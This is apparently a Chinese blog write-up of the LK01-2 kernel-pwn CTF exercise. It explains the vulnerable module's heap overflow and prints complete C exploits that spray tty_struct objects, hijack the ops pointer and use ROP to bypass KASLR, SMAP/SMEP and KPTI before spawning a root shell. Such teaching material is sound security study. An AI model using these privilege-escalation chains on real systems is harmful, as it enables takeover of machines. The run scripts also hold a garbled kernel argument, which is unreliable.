首页 > 系统相关 >Linux内核之堆溢出的利用

Linux内核之堆溢出的利用

时间:2023-09-13 18:06:55浏览次数:46  
标签:kernel 之堆 unsigned long user Linux buf 0x% 内核

前言

用户进程会通过malloc等函数进行动态内存分配相应的内核也有一套动态的内存分配机制。

内核中的内存分配

有两种类型的计算机并且使用不同的方法管理物理内存

  • UMA计算机:每个处理器访问内存的速度一直
  • NUMA计算机:每个处理器访问自己的本地内存速度较快,但是访问其他处理器的本地内存会相对较慢

Linux内核之堆溢出的利用_漏洞利用

首先将内存划为为结点,每个结点与一个处理器进行关联,因此上图的与处理器关联的内存都被视作为结点。结点使用pg_data_t结构体进行表示。并且结点与结点之间是通过链表进行链接的。

结点进一步划分为多个域,域使用zone_type枚举类型表示。

Linux内核之堆溢出的利用_Linux内核_02

域进一步细化为页为单位的内存进行划分。页则使用page数据结构进行表示。

Linux内核之堆溢出的利用_Linux内核_03

虽然内核中使用了伙伴算法对页框进行管理,但是由于页的单位一般是4096,倘若只想申请部分内存,但是直接分配一页的大小会浪费资源。因此内核使用了slab分配器进行小内存的分配。

帮助网安学习,全套资料S信免费领取:

① 网安学习成长路径思维导图

② 60+网安经典常用工具包

③ 100+SRC分析报告

④ 150+网安攻防实战技术电子书

⑤ 最权威CISSP 认证考试指南+题库

⑥ 超1800页CTF实战技巧手册

⑦ 最新网安大厂面试题合集(含答案)

⑧ APP客户端安全检测指南(安卓+IOS)

图片来自https://blog-wohin-me.translate.goog/posts/pawnyable-0202/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hlslab大致流程如下。

Linux内核之堆溢出的利用_Linux内核_04

slab不仅仅是作为分配器还有缓存的功能,因此在使用kmalloc时会首先检索kmem_cache是否存在空闲的内存,这一点与用户态下的ptmalloc很相似。

LK01-2

项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-2/LK01-2

module_open

在执行open模块时会使用kmalloc进行动态内存分配,因此会使用到上述所说的slab分配器。

static int module_open(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_open called\n");

  g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!g_buf) {
    printk(KERN_INFO "kmalloc failed");
    return -ENOMEM;
  }

  return 0;
}

module_read

在执行read模块时会从内核堆地址中拷贝信息到用户空间中去,但是这里的拷贝没有对长度做限制,因此存在着越界读的漏洞。

static ssize_t module_read(struct file *file,
                           char __user *buf, size_t count,
                           loff_t *f_pos)
{
  printk(KERN_INFO "module_read called\n");

  if (copy_to_user(buf, g_buf, count)) {
    printk(KERN_INFO "copy_to_user failed\n");
    return -EINVAL;
  }

  return count;
}

module_write

在执行write模块时会将用户空间的数据拷贝到内核堆空间中,由于没有做长度的限制,因此存在着内核堆溢出的漏洞。

static ssize_t module_write(struct file *file,
                            const char __user *buf, size_t count,
                            loff_t *f_pos)
{
  printk(KERN_INFO "module_write called\n");

  if (copy_from_user(g_buf, buf, count)) {
    printk(KERN_INFO "copy_from_user failed\n");
    return -EINVAL;
  }

  return count;
}

堆溢出的利用

由于内核分配动态内存是通过slab分配器,slab分配器会优先从缓存中取出,题目给会通过open模块分配一个0x400的堆块。因此会从kmalloc-1024中取出堆块。可以看到0x400的堆块能够写入超过0x400的数据。但是这种堆溢出不会影响程序正常执行。这是因为紧接着的堆块没有存储函数指针。

Linux内核之堆溢出的利用_堆溢出_05

因此如果需要劫持程序的执行流程,则需要使得存在一个堆块内部存放着函数指针并且在构造的堆块的后方。而内核的许多重要的结构体都是通过堆进行分配,而且这些结构体需要经常创建与释放,因此这些结构体也会通过kmalloc-1024中取出堆块。因此在内核堆块的利用需要熟悉内核中一些包含函数指针的对象的大小。而tty_struct的结构体的大小刚好处于kmalloc-1024的范围内。

struct tty_struct {
    int magic;
    struct kref kref;
    struct device *dev; /* class device or NULL (e.g. ptys, serdev) */
    struct tty_driver *driver;
    const struct tty_operations *ops;
    ...
} __randomize_layout;

可以看到tty_struct结构体会存在ops的操作指针,对tty的操作都会调用该函数指针。

https://ptr--yudai-hatenablog-com.translate.goog/entry/2020/03/16/165628?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=zh-CN中统计了一下常用的结构体。

由于我们不清楚在执行open模块的时候分配的堆块是否会在tty结构体的上方,因此需要使用堆喷将tty结构体充满在open模块申请的堆块的附近。

int spray[100];
    for (int i = 0; i < 50; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    int fd = open("/dev/holstein", O_RDWR);
    for (int i = 50; i < 100; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
  • ptmx文件是用于打开伪终端主设备文件,该文件则是通过上述的tty结构体进行表示
  • O_NOCTTY则是用于防止当前进程将打开的终端设备作为其控制终端

对过上述操作在能使得open模块操作分配的堆空间是在tty结构体所分配的空间的周围的。如下图所示能够看到将tty结构体分配在g_bufopen模块分配的堆块)的下方

Linux内核之堆溢出的利用_堆溢出_06

该操作指针中存放着许多函数地址

Linux内核之堆溢出的利用_Linux内核_07

将该结构体覆盖为无效值

Linux内核之堆溢出的利用_漏洞利用_08

通过ioctl操作触发函数指针

ioctl(spray[i], 0x1234, 0x1234);

ioctl 是一个用于在Linux系统中进行设备控制和配置的系统调用,它允许用户态程序与设备驱动程序进行通信以进行各种操作。因此执行ioctl函数实际是会调用ops指向的函数表。但是接着执行内核并不会发生崩溃,这里我猜测是在ioctl函数执行流程中会检测ops指针的有效性。

但是单单修改函数表内的函数地址,则会引起崩溃。

Linux内核之堆溢出的利用_堆溢出_09

崩溃地址正是我们修改的值。

Linux内核之堆溢出的利用_Linux内核_10

因此梳理一下针对该题堆溢出利用的条件

  1. 利用堆喷使得漏洞堆块处于tty结构体堆块的上方
  2. 利用堆溢出将ops指针修改为可控的内核堆地址并在该地址中填充函数地址

没有开启保护

经过测试,在没有开启kaslr的情况下g_buf对应的堆地址也是会改变的,因此需要进行泄露计算出g_buf的地址。由于g_buf处于内核地址,因此可以触发ioctl,这里我使用了用户空间的堆块地址,但是无法触发,因此猜测ioctl需要检验ops指针值是否为内核地址。

并且在tty结构体中存储了堆块的地址,因此可以通过越界读泄露堆地址。

Linux内核之堆溢出的利用_Linux内核_11

通过read模块泄露堆地址

...
    char buf[0x500];
    read(fd, buf, 0x500);
    unsigned long * p = (unsigned long *)&buf;
    for (int i = 0; i < 0xa0; i++)
        printf("[0x%x] 0x%lx\n",i ,p[i]);
...

这里需要注意的是我们尽可能选择与g_buf地址相近的堆地址,因为slab分配器会分配连续的内存,因此在附近的地址可以计算出真正的偏移。

Linux内核之堆溢出的利用_堆溢出_12

泄露出堆地址后还需要解决一个问题是ioctl函数会执行函数表的哪个函数指针,因此我们需要劫持ops指针为g_buf,然后在g_buf填充有规律的垃圾数据,判断函数指针的位置。

...
    unsigned long heap = p[0x9f];
    printf("heap:0x%lx\n", heap);
    unsigned long g_buf = heap - 0x4f8 ;
    printf("g_buf:0x%lx\n", g_buf);
    for (unsigned long i = 0; i < 0x80; i++)
        p[i] = i;
    *(unsigned long *)&buf[0x418] = g_buf;
    write(fd, buf, 0x500);
    for (int i = 0; i < 100; i++) {
       ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
    }  
    ...

可以看到在函数表中的偏移为0xc,该地址填充的值会被用作处理ioctl函数的操作。

Linux内核之堆溢出的利用_Linux内核_13

由于题目没有开启任何保护,接下来就是ret2usr即可

run.sh

#!/bin/sh
qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -append "cnotallow=ttyS0 loglevel=3 oops=panic panic=-1 nosmap nosemp nokaslr nopti" \
    -no-reboot \
    -cpu qemu64 \
    -smp 1 \
    -monitor /dev/null \
    -initrd initramfs.cpio.gz\
    -net nic,model=virtio \
    -net user \
    -s

exp

这里需要对所有伪终端执行ioctl操作,这是因为我们不能判断具体覆盖了哪个tty的结构体。

#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>

/*
0xffffffff81074650 T prepare_kernel_cred
0xffffffff810744b0 T commit_creds
*/

unsigned long user_cs, user_sp, user_ss, user_rflags;
void save_user_land()
{
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_sp, rsp;"
        "mov user_ss, ss;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved userland registers");
    printf("[#] cs: 0x%lx \n", user_cs);
    printf("[#] ss: 0x%lx \n", user_ss);
    printf("[#] rsp: 0x%lx \n", user_sp);
    printf("[#] rflags: 0x%lx \n\n", user_rflags);
}


void backdoor()
{
    printf("****getshell****");
    system("id");
    system("/bin/sh");
}

unsigned long user_rip = (unsigned long)backdoor;

void lpe()
{
    __asm(
        ".intel_syntax noprefix;"
        "movabs rax, 0xffffffff81074650;" //prepare_kernel_cred
        "xor rdi, rdi;"
        "call rax;" //prepare_kernel_cred(0);
        "mov rdi, rax;"
        "mov rax, 0xffffffff810744b0;" //commit_creds
        "call rax;"
        "swapgs;"   
        "mov r15, user_ss;"
        "push r15;"
        "mov r15, user_sp;"
        "push r15;"
        "mov r15, user_rflags;"
        "push r15;"
        "mov r15, user_cs;"
        "push r15;"
        "mov r15, user_rip;"
        "push r15;"
        "iretq;"
        ".att_syntax;"
    );
}


int main() {
    save_user_land();
    int spray[100];
    for (int i = 0; i < 50; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    int fd = open("/dev/holstein", O_RDWR);
    for (int i = 50; i < 100; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    char buf[0x500];
    read(fd, buf, 0x500);
    unsigned long * p = (unsigned long *)&buf;
    //for (int i = 0; i < 0xa0; i++)
    //printf("[0x%x] 0x%lx\n",i ,p[i]);
    unsigned long heap = p[0x9f];
    printf("heap:0x%lx\n", heap);
    unsigned long g_buf = heap - 0x4f8 ;
    printf("g_buf:0x%lx\n", g_buf);
    p[0xc] = lpe;
    *(unsigned long *)&buf[0x418] = g_buf;
    write(fd, buf, 0x500);
    for (int i = 0; i < 100; i++) {
       ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
    }        
}

开启KASLR

run.sh

#!/bin/sh
qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -append "cnotallow=ttyS0 loglevel=3 oops=panic panic=-1 nosmap nosemp nopti kaslr" \
    -no-reboot \
    -cpu qemu64 \
    -smp 1 \
    -monitor /dev/null \
    -initrd initramfs.cpio.gz\
    -net nic,model=virtio \
    -net user \
    -s

exp

开启KASLR的解法与没开启保护的情况基本一致,只需要多泄露一个内核地址即可。

#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>


#define prepare_kernel_cred_offset 0x74650
#define commit_creds_offset 0x744b0

unsigned long kernel_base;
unsigned long prepare_kernel_cred;
unsigned long commit_creds;

unsigned long user_cs, user_sp, user_ss, user_rflags;
void save_user_land()
{
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_sp, rsp;"
        "mov user_ss, ss;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved userland registers");
    printf("[#] cs: 0x%lx \n", user_cs);
    printf("[#] ss: 0x%lx \n", user_ss);
    printf("[#] rsp: 0x%lx \n", user_sp);
    printf("[#] rflags: 0x%lx \n\n", user_rflags);
}


void backdoor()
{
    printf("****getshell****");
    system("id");
    system("/bin/sh");
}

unsigned long user_rip = (unsigned long)backdoor;

void lpe()
{
    prepare_kernel_cred = kernel_base + prepare_kernel_cred_offset;
    commit_creds = kernel_base + commit_creds_offset;
    __asm(
        ".intel_syntax noprefix;"
        "movabs rax, prepare_kernel_cred;" //prepare_kernel_cred
        "xor rdi, rdi;"
        "call rax;" //prepare_kernel_cred(0);
        "mov rdi, rax;"
        "mov rax, commit_creds;" //commit_creds
        "call rax;"
        "swapgs;"   
        "mov r15, user_ss;"
        "push r15;"
        "mov r15, user_sp;"
        "push r15;"
        "mov r15, user_rflags;"
        "push r15;"
        "mov r15, user_cs;"
        "push r15;"
        "mov r15, user_rip;"
        "push r15;"
        "iretq;"
        ".att_syntax;"
    );
}


int main() {
    save_user_land();
    int spray[100];
    for (int i = 0; i < 50; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    int fd = open("/dev/holstein", O_RDWR);
    for (int i = 50; i < 100; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    char buf[0x500];
    read(fd, buf, 0x500);
    unsigned long * p = (unsigned long *)&buf;
    //for (int i = 0; i < 0xa0; i++)
    //  printf("[0x%x] 0x%lx\n",i ,p[i]);
    unsigned long heap = p[0x9f];
    printf("heap:0x%lx\n", heap);
    unsigned long g_buf = heap - 0x4f8 ;
    printf("g_buf:0x%lx\n", g_buf);
    unsigned long kernel_addr = p[0x83];
    printf("kernel_addr:0x%lx\n", kernel_addr);
    kernel_base = kernel_addr - 0xc38880;
    printf("kernel_base:0x%lx\n", kernel_base);
    p[0xc] = lpe;
    *(unsigned long *)&buf[0x418] = g_buf;
    write(fd, buf, 0x500);
    for (int i = 0; i < 100; i++) {
       ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
    }       
}

开启SMAP与SMEP

SMAPSMEP会防止内核访问与执行用户空间的地址,但是由于该题本身是修改在堆块内的指针值无法在堆块内部构造ROP链,那么想要执行ROP链那么需要将栈迁移到堆上。但是由于我们的输入不在栈上,而是在堆上,无法通过pop rbp;ret;mov rsp,rbp去修改栈顶值。这里需要注意到,当通过ioctl函数时,我们的参数值实际也会被传递进去。如下图所示。

Linux内核之堆溢出的利用_堆溢出_14

因此需要通过根据这几个寄存器修改栈顶的操作

cat g | grep -E "push rdx;.* pop rsp;.* ret"

Linux内核之堆溢出的利用_堆溢出_15

gadget可以将rax的值移动到rdi的值,但是需要经过rep movsq qword ptr [rdi], qword ptr [rsi]; ret;,该汇编语言实际是循环将rsi指向的值存放到rdi中,并且循环此为由rcx寄存器指定,因此将rcx寄存器设置为0即可跳过该操作。

Linux内核之堆溢出的利用_漏洞利用_16

run.sh

#!/bin/sh
qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -append "cnotallow=ttyS0 loglevel=3 oops=panic panic=-1  nopti kaslr" \
    -no-reboot \
    -cpu qemu64,+smap,+smep \
    -smp 1 \
    -monitor /dev/null \
    -initrd initramfs.cpio.gz\
    -net nic,model=virtio \
    -net user \
    -s

exp

#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>

/*
0xffffffff810d748d: pop rdi; ret; 
0xffffffff81022dff: iretq; pop rbp; ret;
0xffffffff8162668e: swapgs; ret;
0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret;
0xffffffff8162707b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
0xffffffff8109c39e: pop rsi; ret;
0xffffffff8113c1c4: pop rcx; ret;
*/

#define prepare_kernel_cred_offset 0x74650
#define commit_creds_offset 0x744b0
#define pop_rdi_offset 0xd748d
#define iretq_pop_rbp_offset 0x22dff
#define push_rax_ret_offset 0x24819 
#define push_rdx_pop_rsp_ret_offset 0x3a478a
#define mov_rdi_rax_ret_offset 0x62707b
#define swapgs 0x62668e
#define pop_rsi 0x9c39e
#define pop_rcx 0x13c1c4

unsigned long kernel_base;
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
unsigned long user_cs, user_sp, user_ss, user_rflags;

void save_user_land()
{
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_sp, rsp;"
        "mov user_ss, ss;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved userland registers");
    printf("[#] cs: 0x%lx \n", user_cs);
    printf("[#] ss: 0x%lx \n", user_ss);
    printf("[#] rsp: 0x%lx \n", user_sp);
    printf("[#] rflags: 0x%lx \n\n", user_rflags);
}


void backdoor()
{
    printf("****getshell****");
    system("id");
    system("/bin/sh");
}


int main() {
    save_user_land();
    int spray[100];
    for (int i = 0; i < 50; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    int fd = open("/dev/holstein", O_RDWR);
    for (int i = 50; i < 100; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    char buf[0x500];
    read(fd, buf, 0x500);
    unsigned long * p = (unsigned long *)&buf;
    //for (int i = 0; i < 0xa0; i++)
    //  printf("[0x%x] 0x%lx\n",i ,p[i]);
    unsigned long heap = p[0x9f];
    printf("heap:0x%lx\n", heap);
    unsigned long g_buf = heap - 0x4f8 ;
    printf("g_buf:0x%lx\n", g_buf);
    unsigned long kernel_addr = p[0x83];
    printf("kernel_addr:0x%lx\n", kernel_addr);
    kernel_base = kernel_addr - 0xc38880;
    printf("kernel_base:0x%lx\n", kernel_base);
    p[0x22] = pop_rdi_offset + kernel_base;
    p[0x23] = 0;
    p[0x24] = prepare_kernel_cred_offset + kernel_base;
    p[0x25] = pop_rcx + kernel_base;
    p[0x26] = 0;
    p[0x27] = mov_rdi_rax_ret_offset + kernel_base;
    p[0x28] = commit_creds_offset + kernel_base;
    p[0x29] = swapgs + kernel_base;
    p[0x2a] = iretq_pop_rbp_offset + kernel_base;
    p[0x2b] = (unsigned long)backdoor;
    p[0x2c] = user_cs;
    p[0x2d] = user_rflags;
    p[0x2e] = user_sp;
    p[0x2f] = user_ss;    
    *(unsigned long *)&buf[0x418] = g_buf;
    p[0xc] = p[0xc] = kernel_base + push_rdx_pop_rsp_ret_offset;
    write(fd, buf, 0x500);
    for (int i = 0; i < 100; i++) {
       ioctl(spray[i], g_buf+0x100, g_buf+0x100);
    }       
}

开启kpti

run.sh

#!/bin/sh
qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -append "cnotallow=ttyS0 loglevel=3 oops=panic panic=-1  kpti=1  kaslr" \
    -no-reboot \
    -cpu qemu64,+smap,+smep \
    -smp 1 \
    -monitor /dev/null \
    -initrd initramfs.cpio.gz\
    -net nic,model=virtio \
    -net user \
    -s

exp

kpti的绕过也与普通的一致,使用swapgs_restore_regs_and_return_to_usermodegadget即可

#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>

/*
0xffffffff810d748d: pop rdi; ret; 
0xffffffff81022dff: iretq; pop rbp; ret;
0xffffffff8162668e: swapgs; ret;
0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret;
0xffffffff8162707b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
0xffffffff8109c39e: pop rsi; ret;
0xffffffff8113c1c4: pop rcx; ret;
0xffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
*/

#define prepare_kernel_cred_offset 0x74650
#define commit_creds_offset 0x744b0
#define pop_rdi_offset 0xd748d
#define iretq_pop_rbp_offset 0x22dff
#define push_rax_ret_offset 0x24819 
#define push_rdx_pop_rsp_ret_offset 0x3a478a
#define mov_rdi_rax_ret_offset 0x62707b
#define swapgs 0x62668e
#define pop_rsi 0x9c39e
#define pop_rcx 0x13c1c4
#define swapgs_restore_regs_and_return_to_usermode 0x800e10

unsigned long kernel_base;
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
unsigned long user_cs, user_sp, user_ss, user_rflags;

void save_user_land()
{
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_sp, rsp;"
        "mov user_ss, ss;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved userland registers");
    printf("[#] cs: 0x%lx \n", user_cs);
    printf("[#] ss: 0x%lx \n", user_ss);
    printf("[#] rsp: 0x%lx \n", user_sp);
    printf("[#] rflags: 0x%lx \n\n", user_rflags);
}


void backdoor()
{
    printf("****getshell****");
    system("id");
    system("/bin/sh");
}


int main() {
    save_user_land();
    int spray[100];
    for (int i = 0; i < 50; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    int fd = open("/dev/holstein", O_RDWR);
    for (int i = 50; i < 100; i++)
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    char buf[0x500];
    read(fd, buf, 0x500);
    unsigned long * p = (unsigned long *)&buf;
    //for (int i = 0; i < 0xa0; i++)
    //  printf("[0x%x] 0x%lx\n",i ,p[i]);
    unsigned long heap = p[0x9f];
    printf("heap:0x%lx\n", heap);
    unsigned long g_buf = heap - 0x4f8 ;
    printf("g_buf:0x%lx\n", g_buf);
    unsigned long kernel_addr = p[0x83];
    printf("kernel_addr:0x%lx\n", kernel_addr);
    kernel_base = kernel_addr - 0xc38880;
    printf("kernel_base:0x%lx\n", kernel_base);
    p[0x22] = pop_rdi_offset + kernel_base;
    p[0x23] = 0;
    p[0x24] = prepare_kernel_cred_offset + kernel_base;
    p[0x25] = pop_rcx + kernel_base;
    p[0x26] = 0;
    p[0x27] = mov_rdi_rax_ret_offset + kernel_base;
    p[0x28] = commit_creds_offset + kernel_base;
    p[0x29] = swapgs_restore_regs_and_return_to_usermode + kernel_base + 0x16;
    p[0x2a] = 0;
    p[0x2b] = 0;
    p[0x2c] = (unsigned long)backdoor;
    p[0x2d] = user_cs;
    p[0x2e] = user_rflags;
    p[0x2f] = user_sp;
    p[0x30] = user_ss;    
    *(unsigned long *)&buf[0x418] = g_buf;
    p[0xc] = p[0xc] = kernel_base + push_rdx_pop_rsp_ret_offset;
    write(fd, buf, 0x500);
    for (int i = 0; i < 100; i++) {
       ioctl(spray[i], g_buf+0x100, g_buf+0x100);
    }       
}

  

标签:kernel,之堆,unsigned,long,user,Linux,buf,0x%,内核
From: https://blog.51cto.com/u_14601424/7462770

相关文章

  • 等保2.0安全计算环境-三级通用Linux测评
    一、身份鉴别a)应对登录的用户进行身份标识和鉴别,身份标识具有唯一性,身份鉴别信息具有复杂度要求并定期更换;1、应核查用户在登陆时是否采用了身份鉴别措施;用户登录服务器需要使用账户+账户口令。2、应核查用户列表确认用户身份标识是否具有唯一性;(more/etc/passwd)//查看命......
  • Linux实现查看文件内容的5种方式
    除了使用vi/vim编辑器查看文件内容和使用cat命令将文件所有内容展示到终端上以外,还有多种方式。1、more:分屏显示文件内容。   点击q键退出。    more与cat类似,只不过如果文件内容超过了当前终端一个屏幕能显示的大小,此时more命令就会在终端只显示一个屏幕的文件内容......
  • linux常用命令
    1.pwd我在那里2.whoami我是谁3.clear清屏4.ctrl+c强制停止5.ipaddr查看地址6.ping是否联通网站7.systemctlstart|stop|restart|enabled进程network|网络连接|firewalld|防火墙8.cd进入目录cd..回到上一层目录cd-原路返回来时的目录cd/进入根目录9.......
  • linux中创建用户组
    1.打开终端并以root用户身份登录到Linux系统。2.运行以下命令以创建一个用户组:sudogroupaddgroup_name将“group_name”替换为你想要创建的用户组的名称。3.配置/etc/sudoers文件:sudovisudo4.在文件中找到Userprivilegespecification部分,或者##......
  • Linux手动安装jre
    ......
  • linux if命令
    关于文件属性的判断式-a如果文件存在-b如果文件存在,且该文件是区域设备文件-c当file存在并且是字符设备文件时返回真-d当pathname存在并且是一个目录时返回真-e当pathname指定的文件或目录存在时返回真-f当file存在并且是普通文件时返回真-g当由pathname指定的文件......
  • 【Linux】firewalld防火墙基本操作指令
    1,firewall-cmd--list-all   查询全部已开放端口 2,firewall-cmd--zone=public--add-port=8888/tcp--permanent    开放端口3,firewall-cmd--zone=public--remove-port=8888/tcp--permanent   关闭端口 4,firewall-cmd--reload   重启防......
  • linux系统创建新的Swap分区
    先执行free-h查看现在的swap分配情况 执行swapon-s查看swap的分区文件执行swapoff/dev/dm-1取消已经挂上的swap文件现在扩充swap到4G,并将swap文件挂到/vm_memory/swapfile上先创建/vm_memory/swapfile,依次执行mkdir/vm_memorytouch/vm_memory/swapfil......
  • 【Linux】阿里云linux服务器,开放一个端口
    服务器如何开通一个端口您好,1,首先,如果使用的是云服务器ECS,需要在安全组中放行需要开通的端口,操作方法请参见添加安全组规则。如果使用的是轻量应用服务器,需要在防火墙中放行需要开通的端口,操作方法请参见轻量应用服务器防火墙。2,其次,需要在服务器内部确保对应的服务已经启动,并且......
  • Linux系统有哪些常用版本?
    Linux系统免费、易于维护、安全性高、占用系统资源少,且具有良好的可移植性及用户界面。不仅如此,Linux的世界相当广大,除了Ubuntu、Centos、RedHat之外,还有许多非常不错的发行版本,那么Linux系统有哪些常用版本?以下是具体内容介绍。一、适用于一般使用者1、Ubuntu......